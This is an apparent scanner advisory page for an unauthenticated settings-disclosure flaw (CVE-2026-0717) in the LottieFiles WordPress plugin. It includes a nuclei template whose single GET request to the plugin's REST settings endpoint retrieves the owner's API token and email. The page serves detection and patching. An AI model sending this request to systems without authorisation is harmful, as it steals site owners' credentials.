LottieFiles for Gutenberg <= 3.0.0 - Unauthenticated Settings Disclosure

mediumseverity

0.9%likelihood of exploitation, next 30 days

61%of all CVEs are less likely

Readycheck to confirm it

The LottieFiles – Lottie block for Gutenberg plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.0.0 via the `/wp-json/lottiefiles/v1/settings/` REST API endpoint. This makes it possible for unauthenticated attackers to retrieve the site owner's LottieFiles.com account credentials including their API access token and email address when the 'Share LottieFiles account with other WordPress users' option is enabled.

Impact

Unauthenticated attackers can retrieve API tokens and email addresses, compromising account security and privacy.

Fix

Update to the latest version beyond 3.0.0.

How to confirm it

Send: GET {{BaseURL}}/wp-json/lottiefiles/v1/settings/
Positive when: contains "is_block_logged_in" AND status 200

Run it with nuclei: nuclei -id CVE-2026-0717 -u <target>

The full check

id: CVE-2026-0717

info:
  name: LottieFiles for Gutenberg <= 3.0.0 - Unauthenticated Settings Disclosure
  author: str4k3r
  severity: medium
  description: |
    The LottieFiles – Lottie block for Gutenberg plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.0.0 via the `/wp-json/lottiefiles/v1/settings/` REST API endpoint. This makes it possible for unauthenticated attackers to retrieve the site owner's LottieFiles.com account credentials including their API access token and email address when the 'Share LottieFiles account with other WordPress users' option is enabled.
  impact: |
    Unauthenticated attackers can retrieve API tokens and email addresses, compromising account security and privacy.
  remediation: |
    Update to the latest version beyond 3.0.0.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/19b159ca-4b41-48b4-880d-9b9dc44b3463?source=cve
    - https://plugins.trac.wordpress.org/browser/lottiefiles/tags/3.0.0/src/common.php?marks=21,122#L21
    - https://plugins.trac.wordpress.org/changeset/3442469/
  classification:
    cve-id: CVE-2026-0717
    epss-score: 0.0093
    epss-percentile: 0.60889
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,wordpress,lottiefiles,gutenberg,exposure,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/lottiefiles/v1/settings/"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "is_block_logged_in"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from